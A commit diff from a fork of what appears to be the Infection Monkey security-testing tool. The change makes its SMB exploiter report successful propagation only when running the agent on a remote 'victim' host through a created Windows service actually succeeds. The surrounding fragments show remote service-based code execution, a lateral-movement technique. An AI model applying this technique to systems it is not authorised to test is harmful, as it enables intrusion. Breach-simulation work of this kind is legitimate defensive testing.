forked from p15670423/monkey
Agent: Report successful propagation if agent ran
This commit is contained in:
parent
7b13817b66
commit
f917654f41
|
@ -93,7 +93,8 @@ class SMBExploiter(HostExploiter):
|
||||||
|
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
self._run_agent_on_victim(scmr_rpc, cmdline, timestamp)
|
if not self._run_agent_on_victim(scmr_rpc, cmdline, timestamp):
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
logger.info(
|
logger.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
|
@ -220,7 +221,7 @@ class SMBExploiter(HostExploiter):
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str, start_time: float):
|
def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str, start_time: float) -> bool:
|
||||||
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
resp = scmr.hROpenSCManagerW(scmr_rpc)
|
resp = scmr.hROpenSCManagerW(scmr_rpc)
|
||||||
sc_handle = resp["lpScHandle"]
|
sc_handle = resp["lpScHandle"]
|
||||||
|
@ -240,7 +241,7 @@ class SMBExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
self.exploit_result.error_message = str(err)
|
self.exploit_result.error_message = str(err)
|
||||||
self._publish_propagation_event(start_time, False, error_message=str(err))
|
self._publish_propagation_event(start_time, False, error_message=str(err))
|
||||||
return
|
return False
|
||||||
|
|
||||||
service = resp["lpServiceHandle"]
|
service = resp["lpServiceHandle"]
|
||||||
try:
|
try:
|
||||||
|
@ -255,3 +256,5 @@ class SMBExploiter(HostExploiter):
|
||||||
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
|
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
|
||||||
scmr.hRDeleteService(scmr_rpc, service)
|
scmr.hRDeleteService(scmr_rpc, service)
|
||||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
Loading…
Reference in New Issue